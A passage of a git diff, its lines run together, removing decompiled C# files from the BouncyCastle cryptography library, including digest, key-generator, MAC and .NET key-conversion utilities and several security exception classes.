return new SM3Digest(); - case DigestAlgorithm.TIGER: - return new TigerDigest(); - case DigestAlgorithm.WHIRLPOOL: - return new WhirlpoolDigest(); - } - } - catch (ArgumentException) - { - } - throw new SecurityUtilityException("Digest " + text2 + " not recognised."); - } - - public static string GetAlgorithmName(DerObjectIdentifier oid) - { - return (string)algorithms[oid.Id]; - } - - public static byte[] CalculateDigest(DerObjectIdentifier id, byte[] input) - { - return CalculateDigest(id.Id, input); - } - - public static byte[] CalculateDigest(string algorithm, byte[] input) - { - IDigest digest = GetDigest(algorithm); - digest.BlockUpdate(input, 0, input.Length); - return DoFinal(digest); - } - - public static byte[] DoFinal(IDigest digest) - { - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - return array; - } - - public static byte[] DoFinal(IDigest digest, byte[] input) - { - digest.BlockUpdate(input, 0, input.Length); - return DoFinal(digest); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/DotNetUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/DotNetUtilities.cs deleted file mode 100644 index 57ea895..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/DotNetUtilities.cs +++ /dev/null @@ -1,203 +0,0 @@ -using System; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Security; - -public sealed class DotNetUtilities -{ - private DotNetUtilities() - { - } - - public static System.Security.Cryptography.X509Certificates.X509Certificate ToX509Certificate(X509CertificateStructure x509Struct) - { - return new System.Security.Cryptography.X509Certificates.X509Certificate(x509Struct.GetDerEncoded()); - } - - public static System.Security.Cryptography.X509Certificates.X509Certificate ToX509Certificate(Org.BouncyCastle.X509.X509Certificate x509Cert) - { - return new System.Security.Cryptography.X509Certificates.X509Certificate(x509Cert.GetEncoded()); - } - - public static Org.BouncyCastle.X509.X509Certificate FromX509Certificate(System.Security.Cryptography.X509Certificates.X509Certificate x509Cert) - { - return new X509CertificateParser().ReadCertificate(x509Cert.GetRawCertData()); - } - - public static AsymmetricCipherKeyPair GetDsaKeyPair(DSA dsa) - { - return GetDsaKeyPair(dsa.ExportParameters(includePrivateParameters: true)); - } - - public static AsymmetricCipherKeyPair GetDsaKeyPair(DSAParameters dp) - { - DsaValidationParameters parameters = ((dp.Seed != null) ? new DsaValidationParameters(dp.Seed, dp.Counter) : null); - DsaParameters parameters2 = new DsaParameters(new BigInteger(1, dp.P), new BigInteger(1, dp.Q), new BigInteger(1, dp.G), parameters); - DsaPublicKeyParameters publicParameter = new DsaPublicKeyParameters(new BigInteger(1, dp.Y), parameters2); - DsaPrivateKeyParameters privateParameter = new DsaPrivateKeyParameters(new BigInteger(1, dp.X), parameters2); - return new AsymmetricCipherKeyPair(publicParameter, privateParameter); - } - - public static DsaPublicKeyParameters GetDsaPublicKey(DSA dsa) - { - return GetDsaPublicKey(dsa.ExportParameters(includePrivateParameters: false)); - } - - public static DsaPublicKeyParameters GetDsaPublicKey(DSAParameters dp) - { - DsaValidationParameters parameters = ((dp.Seed != null) ? new DsaValidationParameters(dp.Seed, dp.Counter) : null); - DsaParameters parameters2 = new DsaParameters(new BigInteger(1, dp.P), new BigInteger(1, dp.Q), new BigInteger(1, dp.G), parameters); - return new DsaPublicKeyParameters(new BigInteger(1, dp.Y), parameters2); - } - - public static AsymmetricCipherKeyPair GetRsaKeyPair(RSA rsa) - { - return GetRsaKeyPair(rsa.ExportParameters(includePrivateParameters: true)); - } - - public static AsymmetricCipherKeyPair GetRsaKeyPair(RSAParameters rp) - { - BigInteger modulus = new BigInteger(1, rp.Modulus); - BigInteger bigInteger = new BigInteger(1, rp.Exponent); - RsaKeyParameters publicParameter = new RsaKeyParameters(isPrivate: false, modulus, bigInteger); - RsaPrivateCrtKeyParameters privateParameter = new RsaPrivateCrtKeyParameters(modulus, bigInteger, new BigInteger(1, rp.D), new BigInteger(1, rp.P), new BigInteger(1, rp.Q), new BigInteger(1, rp.DP), new BigInteger(1, rp.DQ), new BigInteger(1, rp.InverseQ)); - return new AsymmetricCipherKeyPair(publicParameter, privateParameter); - } - - public static RsaKeyParameters GetRsaPublicKey(RSA rsa) - { - return GetRsaPublicKey(rsa.ExportParameters(includePrivateParameters: false)); - } - - public static RsaKeyParameters GetRsaPublicKey(RSAParameters rp) - { - return new RsaKeyParameters(isPrivate: false, new BigInteger(1, rp.Modulus), new BigInteger(1, rp.Exponent)); - } - - public static AsymmetricCipherKeyPair GetKeyPair(AsymmetricAlgorithm privateKey) - { - if (privateKey is DSA) - { - return GetDsaKeyPair((DSA)privateKey); - } - if (privateKey is RSA) - { - return GetRsaKeyPair((RSA)privateKey); - } - throw new ArgumentException("Unsupported algorithm specified", "privateKey"); - } - - public static RSA ToRSA(RsaKeyParameters rsaKey) - { - return CreateRSAProvider(ToRSAParameters(rsaKey)); - } - - public static RSA ToRSA(RsaKeyParameters rsaKey, CspParameters csp) - { - return CreateRSAProvider(ToRSAParameters(rsaKey), csp); - } - - public static RSA ToRSA(RsaPrivateCrtKeyParameters privKey) - { - return CreateRSAProvider(ToRSAParameters(privKey)); - } - - public static RSA ToRSA(RsaPrivateCrtKeyParameters privKey, CspParameters csp) - { - return CreateRSAProvider(ToRSAParameters(privKey), csp); - } - - public static RSA ToRSA(RsaPrivateKeyStructure privKey) - { - return CreateRSAProvider(ToRSAParameters(privKey)); - } - - public static RSA ToRSA(RsaPrivateKeyStructure privKey, CspParameters csp) - { - return CreateRSAProvider(ToRSAParameters(privKey), csp); - } - - public static RSAParameters ToRSAParameters(RsaKeyParameters rsaKey) - { - RSAParameters result = new RSAParameters - { - Modulus = rsaKey.Modulus.ToByteArrayUnsigned() - }; - if (rsaKey.IsPrivate) - { - result.D = ConvertRSAParametersField(rsaKey.Exponent, result.Modulus.Length); - } - else - { - result.Exponent = rsaKey.Exponent.ToByteArrayUnsigned(); - } - return result; - } - - public static RSAParameters ToRSAParameters(RsaPrivateCrtKeyParameters privKey) - { - RSAParameters result = default(RSAParameters); - result.Modulus = privKey.Modulus.ToByteArrayUnsigned(); - result.Exponent = privKey.PublicExponent.ToByteArrayUnsigned(); - result.P = privKey.P.ToByteArrayUnsigned(); - result.Q = privKey.Q.ToByteArrayUnsigned(); - result.D = ConvertRSAParametersField(privKey.Exponent, result.Modulus.Length); - result.DP = ConvertRSAParametersField(privKey.DP, result.P.Length); - result.DQ = ConvertRSAParametersField(privKey.DQ, result.Q.Length); - result.InverseQ = ConvertRSAParametersField(privKey.QInv, result.Q.Length); - return result; - } - - public static RSAParameters ToRSAParameters(RsaPrivateKeyStructure privKey) - { - RSAParameters result = default(RSAParameters); - result.Modulus = privKey.Modulus.ToByteArrayUnsigned(); - result.Exponent = privKey.PublicExponent.ToByteArrayUnsigned(); - result.P = privKey.Prime1.ToByteArrayUnsigned(); - result.Q = privKey.Prime2.ToByteArrayUnsigned(); - result.D = ConvertRSAParametersField(privKey.PrivateExponent, result.Modulus.Length); - result.DP = ConvertRSAParametersField(privKey.Exponent1, result.P.Length); - result.DQ = ConvertRSAParametersField(privKey.Exponent2, result.Q.Length); - result.InverseQ = ConvertRSAParametersField(privKey.Coefficient, result.Q.Length); - return result; - } - - private static byte[] ConvertRSAParametersField(BigInteger n, int size) - { - byte[] array = n.ToByteArrayUnsigned(); - if (array.Length == size) - { - return array; - } - if (array.Length > size) - { - throw new ArgumentException("Specified size too small", "size"); - } - byte[] array2 = new byte[size]; - Array.Copy(array, 0, array2, size - array.Length, array.Length); - return array2; - } - - private static RSA CreateRSAProvider(RSAParameters rp) - { - CspParameters cspParameters = new CspParameters(); - cspParameters.KeyContainerName = $"BouncyCastle-{Guid.NewGuid()}"; - RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider(cspParameters); - rSACryptoServiceProvider.ImportParameters(rp); - return rSACryptoServiceProvider; - } - - private static RSA CreateRSAProvider(RSAParameters rp, CspParameters csp) - { - RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider(csp); - rSACryptoServiceProvider.ImportParameters(rp); - return rSACryptoServiceProvider; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/EncryptionException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/EncryptionException.cs deleted file mode 100644 index b76c489..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/EncryptionException.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class EncryptionException : IOException -{ - public EncryptionException(string message) - : base(message) - { - } - - public EncryptionException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/GeneralSecurityException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/GeneralSecurityException.cs deleted file mode 100644 index 1d65ab4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/GeneralSecurityException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class GeneralSecurityException : Exception -{ - public GeneralSecurityException() - { - } - - public GeneralSecurityException(string message) - : base(message) - { - } - - public GeneralSecurityException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/GeneratorUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/GeneratorUtilities.cs deleted file mode 100644 index b299bf4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/GeneratorUtilities.cs +++ /dev/null @@ -1,269 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.EdEC; -using Org.BouncyCastle.Asn1.Iana; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class GeneratorUtilities -{ - private static readonly IDictionary kgAlgorithms; - - private static readonly IDictionary kpgAlgorithms; - - private static readonly IDictionary defaultKeySizes; - - private GeneratorUtilities() - { - } - - static GeneratorUtilities() - { - kgAlgorithms = Platform.CreateHashtable(); - kpgAlgorithms = Platform.CreateHashtable(); - defaultKeySizes = Platform.CreateHashtable(); - AddKgAlgorithm("AES", "AESWRAP"); - AddKgAlgorithm("AES128", "2.16.840.1.101.3.4.2", NistObjectIdentifiers.IdAes128Cbc, NistObjectIdentifiers.IdAes128Cfb, NistObjectIdentifiers.IdAes128Ecb, NistObjectIdentifiers.IdAes128Ofb, NistObjectIdentifiers.IdAes128Wrap); - AddKgAlgorithm("AES192", "2.16.840.1.101.3.4.22", NistObjectIdentifiers.IdAes192Cbc, NistObjectIdentifiers.IdAes192Cfb, NistObjectIdentifiers.IdAes192Ecb, NistObjectIdentifiers.IdAes192Ofb, NistObjectIdentifiers.IdAes192Wrap); - AddKgAlgorithm("AES256", "2.16.840.1.101.3.4.42", NistObjectIdentifiers.IdAes256Cbc, NistObjectIdentifiers.IdAes256Cfb, NistObjectIdentifiers.IdAes256Ecb, NistObjectIdentifiers.IdAes256Ofb, NistObjectIdentifiers.IdAes256Wrap); - AddKgAlgorithm("BLOWFISH", "1.3.6.1.4.1.3029.1.2"); - AddKgAlgorithm("CAMELLIA", "CAMELLIAWRAP"); - AddKgAlgorithm("CAMELLIA128", NttObjectIdentifiers.IdCamellia128Cbc, NttObjectIdentifiers.IdCamellia128Wrap); - AddKgAlgorithm("CAMELLIA192", NttObjectIdentifiers.IdCamellia192Cbc, NttObjectIdentifiers.IdCamellia192Wrap); - AddKgAlgorithm("CAMELLIA256", NttObjectIdentifiers.IdCamellia256Cbc, NttObjectIdentifiers.IdCamellia256Wrap); - AddKgAlgorithm("CAST5", "1.2.840.113533.7.66.10"); - AddKgAlgorithm("CAST6"); - AddKgAlgorithm("DES", OiwObjectIdentifiers.DesCbc, OiwObjectIdentifiers.DesCfb, OiwObjectIdentifiers.DesEcb, OiwObjectIdentifiers.DesOfb); - AddKgAlgorithm("DESEDE", "DESEDEWRAP", "TDEA", OiwObjectIdentifiers.DesEde); - AddKgAlgorithm("DESEDE3", PkcsObjectIdentifiers.DesEde3Cbc, PkcsObjectIdentifiers.IdAlgCms3DesWrap); - AddKgAlgorithm("GOST28147", "GOST", "GOST-28147", CryptoProObjectIdentifiers.GostR28147Cbc); - AddKgAlgorithm("HC128"); - AddKgAlgorithm("HC256"); - AddKgAlgorithm("IDEA", "1.3.6.1.4.1.188.7.1.1.2"); - AddKgAlgorithm("NOEKEON"); - AddKgAlgorithm("RC2", PkcsObjectIdentifiers.RC2Cbc, PkcsObjectIdentifiers.IdAlgCmsRC2Wrap); - AddKgAlgorithm("RC4", "ARC4", "1.2.840.113549.3.4"); - AddKgAlgorithm("RC5", "RC5-32"); - AddKgAlgorithm("RC5-64"); - AddKgAlgorithm("RC6"); - AddKgAlgorithm("RIJNDAEL"); - AddKgAlgorithm("SALSA20"); - AddKgAlgorithm("SEED", KisaObjectIdentifiers.IdNpkiAppCmsSeedWrap, KisaObjectIdentifiers.IdSeedCbc); - AddKgAlgorithm("SERPENT"); - AddKgAlgorithm("SKIPJACK"); - AddKgAlgorithm("SM4"); - AddKgAlgorithm("TEA"); - AddKgAlgorithm("THREEFISH-256"); - AddKgAlgorithm("THREEFISH-512"); - AddKgAlgorithm("THREEFISH-1024"); - AddKgAlgorithm("TNEPRES"); - AddKgAlgorithm("TWOFISH"); - AddKgAlgorithm("VMPC"); - AddKgAlgorithm("VMPC-KSA3"); - AddKgAlgorithm("XTEA"); - AddHMacKeyGenerator("MD2"); - AddHMacKeyGenerator("MD4"); - AddHMacKeyGenerator("MD5", IanaObjectIdentifiers.HmacMD5); - AddHMacKeyGenerator("SHA1", PkcsObjectIdentifiers.IdHmacWithSha1, IanaObjectIdentifiers.HmacSha1); - AddHMacKeyGenerator("SHA224", PkcsObjectIdentifiers.IdHmacWithSha224); - AddHMacKeyGenerator("SHA256", PkcsObjectIdentifiers.IdHmacWithSha256); - AddHMacKeyGenerator("SHA384", PkcsObjectIdentifiers.IdHmacWithSha384); - AddHMacKeyGenerator("SHA512", PkcsObjectIdentifiers.IdHmacWithSha512); - AddHMacKeyGenerator("SHA512/224"); - AddHMacKeyGenerator("SHA512/256"); - AddHMacKeyGenerator("KECCAK224"); - AddHMacKeyGenerator("KECCAK256"); - AddHMacKeyGenerator("KECCAK288"); - AddHMacKeyGenerator("KECCAK384"); - AddHMacKeyGenerator("KECCAK512"); - AddHMacKeyGenerator("SHA3-224", NistObjectIdentifiers.IdHMacWithSha3_224); - AddHMacKeyGenerator("SHA3-256", NistObjectIdentifiers.IdHMacWithSha3_256); - AddHMacKeyGenerator("SHA3-384", NistObjectIdentifiers.IdHMacWithSha3_384); - AddHMacKeyGenerator("SHA3-512", NistObjectIdentifiers.IdHMacWithSha3_512); - AddHMacKeyGenerator("RIPEMD128"); - AddHMacKeyGenerator("RIPEMD160", IanaObjectIdentifiers.HmacRipeMD160); - AddHMacKeyGenerator("TIGER", IanaObjectIdentifiers.HmacTiger); - AddHMacKeyGenerator("GOST3411-2012-256", RosstandartObjectIdentifiers.id_tc26_hmac_gost_3411_12_256); - AddHMacKeyGenerator("GOST3411-2012-512", RosstandartObjectIdentifiers.id_tc26_hmac_gost_3411_12_512); - AddKpgAlgorithm("DH", "DIFFIEHELLMAN"); - AddKpgAlgorithm("DSA"); - AddKpgAlgorithm("EC", X9ObjectIdentifiers.DHSinglePassStdDHSha1KdfScheme); - AddKpgAlgorithm("ECDH", "ECIES"); - AddKpgAlgorithm("ECDHC"); - AddKpgAlgorithm("ECMQV", X9ObjectIdentifiers.MqvSinglePassSha1KdfScheme); - AddKpgAlgorithm("ECDSA"); - AddKpgAlgorithm("ECGOST3410", "ECGOST-3410", "GOST-3410-2001"); - AddKpgAlgorithm("Ed25519", "Ed25519ctx", "Ed25519ph", EdECObjectIdentifiers.id_Ed25519); - AddKpgAlgorithm("Ed448", "Ed448ph", EdECObjectIdentifiers.id_Ed448); - AddKpgAlgorithm("ELGAMAL"); - AddKpgAlgorithm("GOST3410", "GOST-3410", "GOST-3410-94"); - AddKpgAlgorithm("RSA", "1.2.840.113549.1.1.1"); - AddKpgAlgorithm("X25519", EdECObjectIdentifiers.id_X25519); - AddKpgAlgorithm("X448", EdECObjectIdentifiers.id_X448); - AddDefaultKeySizeEntries(64, "DES"); - AddDefaultKeySizeEntries(80, "SKIPJACK"); - AddDefaultKeySizeEntries(128, "AES128", "BLOWFISH", "CAMELLIA128", "CAST5", "DESEDE", "HC128", "HMACMD2", "HMACMD4", "HMACMD5", "HMACRIPEMD128", "IDEA", "NOEKEON", "RC2", "RC4", "RC5", "SALSA20", "SEED", "SM4", "TEA", "XTEA", "VMPC", "VMPC-KSA3"); - AddDefaultKeySizeEntries(160, "HMACRIPEMD160", "HMACSHA1"); - AddDefaultKeySizeEntries(192, "AES", "AES192", "CAMELLIA192", "DESEDE3", "HMACTIGER", "RIJNDAEL", "SERPENT", "TNEPRES"); - AddDefaultKeySizeEntries(224, "HMACSHA3-224", "HMACKECCAK224", "HMACSHA224", "HMACSHA512/224"); - AddDefaultKeySizeEntries(256, "AES256", "CAMELLIA", "CAMELLIA256", "CAST6", "GOST28147", "HC256", "HMACGOST3411-2012-256", "HMACSHA3-256", "HMACKECCAK256", "HMACSHA256", "HMACSHA512/256", "RC5-64", "RC6", "THREEFISH-256", "TWOFISH"); - AddDefaultKeySizeEntries(288, "HMACKECCAK288"); - AddDefaultKeySizeEntries(384, "HMACSHA3-384", "HMACKECCAK384", "HMACSHA384"); - AddDefaultKeySizeEntries(512, "HMACGOST3411-2012-512", "HMACSHA3-512", "HMACKECCAK512", "HMACSHA512", "THREEFISH-512"); - AddDefaultKeySizeEntries(1024, "THREEFISH-1024"); - } - - private static void AddDefaultKeySizeEntries(int size, params string[] algorithms) - { - foreach (string key in algorithms) - { - defaultKeySizes.Add(key, size); - } - } - - private static void AddKgAlgorithm(string canonicalName, params object[] aliases) - { - kgAlgorithms[Platform.ToUpperInvariant(canonicalName)] = canonicalName; - foreach (object obj in aliases) - { - kgAlgorithms[Platform.ToUpperInvariant(obj.ToString())] = canonicalName; - } - } - - private static void AddKpgAlgorithm(string canonicalName, params object[] aliases) - { - kpgAlgorithms[Platform.ToUpperInvariant(canonicalName)] = canonicalName; - foreach (object obj in aliases) - { - kpgAlgorithms[Platform.ToUpperInvariant(obj.ToString())] = canonicalName; - } - } - - private static void AddHMacKeyGenerator(string algorithm, params object[] aliases) - { - string text = "HMAC" + algorithm; - kgAlgorithms[text] = text; - kgAlgorithms["HMAC-" + algorithm] = text; - kgAlgorithms["HMAC/" + algorithm] = text; - foreach (object obj in aliases) - { - kgAlgorithms[Platform.ToUpperInvariant(obj.ToString())] = text; - } - } - - internal static string GetCanonicalKeyGeneratorAlgorithm(string algorithm) - { - return (string)kgAlgorithms[Platform.ToUpperInvariant(algorithm)]; - } - - internal static string GetCanonicalKeyPairGeneratorAlgorithm(string algorithm) - { - return (string)kpgAlgorithms[Platform.ToUpperInvariant(algorithm)]; - } - - public static CipherKeyGenerator GetKeyGenerator(DerObjectIdentifier oid) - { - return GetKeyGenerator(oid.Id); - } - - public static CipherKeyGenerator GetKeyGenerator(string algorithm) - { - string canonicalKeyGeneratorAlgorithm = GetCanonicalKeyGeneratorAlgorithm(algorithm); - if (canonicalKeyGeneratorAlgorithm == null) - { - throw new SecurityUtilityException("KeyGenerator " + algorithm + " not recognised."); - } - int num = FindDefaultKeySize(canonicalKeyGeneratorAlgorithm); - if (num == -1) - { - throw new SecurityUtilityException("KeyGenerator " + algorithm + " (" + canonicalKeyGeneratorAlgorithm + ") not supported."); - } - switch (canonicalKeyGeneratorAlgorithm) - { - case "DES": - return new DesKeyGenerator(num); - case "DESEDE": - case "DESEDE3": - return new DesEdeKeyGenerator(num); - default: - return new CipherKeyGenerator(num); - } - } - - public static IAsymmetricCipherKeyPairGenerator GetKeyPairGenerator(DerObjectIdentifier oid) - { - return GetKeyPairGenerator(oid.Id); - } - - public static IAsymmetricCipherKeyPairGenerator GetKeyPairGenerator(string algorithm) - { - string canonicalKeyPairGeneratorAlgorithm = GetCanonicalKeyPairGeneratorAlgorithm(algorithm); - if (canonicalKeyPairGeneratorAlgorithm == null) - { - throw new SecurityUtilityException("KeyPairGenerator " + algorithm + " not recognised."); - } - if (canonicalKeyPairGeneratorAlgorithm == "DH") - { - return new DHKeyPairGenerator(); - } - if (canonicalKeyPairGeneratorAlgorithm == "DSA") - { - return new DsaKeyPairGenerator(); - } - if (Platform.StartsWith(canonicalKeyPairGeneratorAlgorithm, "EC")) - { - return new ECKeyPairGenerator(canonicalKeyPairGeneratorAlgorithm); - } - return canonicalKeyPairGeneratorAlgorithm switch - { - "Ed25519" => new Ed25519KeyPairGenerator(), - "Ed448" => new Ed448KeyPairGenerator(), - "ELGAMAL" => new ElGamalKeyPairGenerator(), - "GOST3410" => new Gost3410KeyPairGenerator(), - "RSA" => new RsaKeyPairGenerator(), - "X25519" => new X25519KeyPairGenerator(), - "X448" => new X448KeyPairGenerator(), - _ => throw new SecurityUtilityException("KeyPairGenerator " + algorithm + " (" + canonicalKeyPairGeneratorAlgorithm + ") not supported."), - }; - } - - internal static int GetDefaultKeySize(DerObjectIdentifier oid) - { - return GetDefaultKeySize(oid.Id); - } - - internal static int GetDefaultKeySize(string algorithm) - { - string canonicalKeyGeneratorAlgorithm = GetCanonicalKeyGeneratorAlgorithm(algorithm); - if (canonicalKeyGeneratorAlgorithm == null) - { - throw new SecurityUtilityException("KeyGenerator " + algorithm + " not recognised."); - } - int num = FindDefaultKeySize(canonicalKeyGeneratorAlgorithm); - if (num == -1) - { - throw new SecurityUtilityException("KeyGenerator " + algorithm + " (" + canonicalKeyGeneratorAlgorithm + ") not supported."); - } - return num; - } - - private static int FindDefaultKeySize(string canonicalName) - { - if (!defaultKeySizes.Contains(canonicalName)) - { - return -1; - } - return (int)defaultKeySizes[canonicalName]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/InvalidKeyException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/InvalidKeyException.cs deleted file mode 100644 index ab3ded9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/InvalidKeyException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class InvalidKeyException : KeyException -{ - public InvalidKeyException() - { - } - - public InvalidKeyException(string message) - : base(message) - { - } - - public InvalidKeyException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/InvalidParameterException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/InvalidParameterException.cs deleted file mode 100644 index d87f6df..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/InvalidParameterException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class InvalidParameterException : KeyException -{ - public InvalidParameterException() - { - } - - public InvalidParameterException(string message) - : base(message) - { - } - - public InvalidParameterException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/KeyException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/KeyException.cs deleted file mode 100644 index 2c88baa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/KeyException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class KeyException : GeneralSecurityException -{ - public KeyException() - { - } - - public KeyException(string message) - : base(message) - { - } - - public KeyException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/MacUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/MacUtilities.cs deleted file mode 100644 index 446c7da..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/MacUtilities.cs +++ /dev/null @@ -1,169 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Iana; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Paddings; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class MacUtilities -{ - private static readonly IDictionary algorithms; - - private MacUtilities() - { - } - - static MacUtilities() - { - algorithms = Platform.CreateHashtable(); - algorithms[IanaObjectIdentifiers.HmacMD5.Id] = "HMAC-MD5"; - algorithms[IanaObjectIdentifiers.HmacRipeMD160.Id] = "HMAC-RIPEMD160"; - algorithms[IanaObjectIdentifiers.HmacSha1.Id] = "HMAC-SHA1"; - algorithms[IanaObjectIdentifiers.HmacTiger.Id] = "HMAC-TIGER"; - algorithms[PkcsObjectIdentifiers.IdHmacWithSha1.Id] = "HMAC-SHA1"; - algorithms[PkcsObjectIdentifiers.IdHmacWithSha224.Id] = "HMAC-SHA224"; - algorithms[PkcsObjectIdentifiers.IdHmacWithSha256.Id] = "HMAC-SHA256"; - algorithms[PkcsObjectIdentifiers.IdHmacWithSha384.Id] = "HMAC-SHA384"; - algorithms[PkcsObjectIdentifiers.IdHmacWithSha512.Id] = "HMAC-SHA512"; - algorithms[NistObjectIdentifiers.IdHMacWithSha3_224.Id] = "HMAC-SHA3-224"; - algorithms[NistObjectIdentifiers.IdHMacWithSha3_256.Id] = "HMAC-SHA3-256"; - algorithms[NistObjectIdentifiers.IdHMacWithSha3_384.Id] = "HMAC-SHA3-384"; - algorithms[NistObjectIdentifiers.IdHMacWithSha3_512.Id] = "HMAC-SHA3-512"; - algorithms[RosstandartObjectIdentifiers.id_tc26_hmac_gost_3411_12_256.Id] = "HMAC-GOST3411-2012-256"; - algorithms[RosstandartObjectIdentifiers.id_tc26_hmac_gost_3411_12_512.Id] = "HMAC-GOST3411-2012-512"; - algorithms["DES"] = "DESMAC"; - algorithms["DES/CFB8"] = "DESMAC/CFB8"; - algorithms["DES64"] = "DESMAC64"; - algorithms["DESEDE"] = "DESEDEMAC"; - algorithms[PkcsObjectIdentifiers.DesEde3Cbc.Id] = "DESEDEMAC"; - algorithms["DESEDE/CFB8"] = "DESEDEMAC/CFB8"; - algorithms["DESISO9797MAC"] = "DESWITHISO9797"; - algorithms["DESEDE64"] = "DESEDEMAC64"; - algorithms["DESEDE64WITHISO7816-4PADDING"] = "DESEDEMAC64WITHISO7816-4PADDING"; - algorithms["DESEDEISO9797ALG1MACWITHISO7816-4PADDING"] = "DESEDEMAC64WITHISO7816-4PADDING"; - algorithms["DESEDEISO9797ALG1WITHISO7816-4PADDING"] = "DESEDEMAC64WITHISO7816-4PADDING"; - algorithms["ISO9797ALG3"] = "ISO9797ALG3MAC"; - algorithms["ISO9797ALG3MACWITHISO7816-4PADDING"] = "ISO9797ALG3WITHISO7816-4PADDING"; - algorithms["SKIPJACK"] = "SKIPJACKMAC"; - algorithms["SKIPJACK/CFB8"] = "SKIPJACKMAC/CFB8"; - algorithms["IDEA"] = "IDEAMAC"; - algorithms["IDEA/CFB8"] = "IDEAMAC/CFB8"; - algorithms["RC2"] = "RC2MAC"; - algorithms["RC2/CFB8"] = "RC2MAC/CFB8"; - algorithms["RC5"] = "RC5MAC"; - algorithms["RC5/CFB8"] = "RC5MAC/CFB8"; - algorithms["GOST28147"] = "GOST28147MAC"; - algorithms["VMPC"] = "VMPCMAC"; - algorithms["VMPC-MAC"] = "VMPCMAC"; - algorithms["SIPHASH"] = "SIPHASH-2-4"; - algorithms["PBEWITHHMACSHA"] = "PBEWITHHMACSHA1"; - algorithms["1.3.14.3.2.26"] = "PBEWITHHMACSHA1"; - } - - public static IMac GetMac(DerObjectIdentifier id) - { - return GetMac(id.Id); - } - - public static IMac GetMac(string algorithm) - { - string text = Platform.ToUpperInvariant(algorithm); - string text2 = (string)algorithms[text]; - if (text2 == null) - { - text2 = text; - } - if (Platform.StartsWith(text2, "PBEWITH")) - { - text2 = text2.Substring("PBEWITH".Length); - } - if (Platform.StartsWith(text2, "HMAC")) - { - string algorithm2 = ((!Platform.StartsWith(text2, "HMAC-") && !Platform.StartsWith(text2, "HMAC/")) ? text2.Substring(4) : text2.Substring(5)); - return new HMac(DigestUtilities.GetDigest(algorithm2)); - } - switch (text2) - { - case "AESCMAC": - return new CMac(new AesEngine()); - case "DESMAC": - return new CbcBlockCipherMac(new DesEngine()); - case "DESMAC/CFB8": - return new CfbBlockCipherMac(new DesEngine()); - case "DESMAC64": - return new CbcBlockCipherMac(new DesEngine(), 64); - case 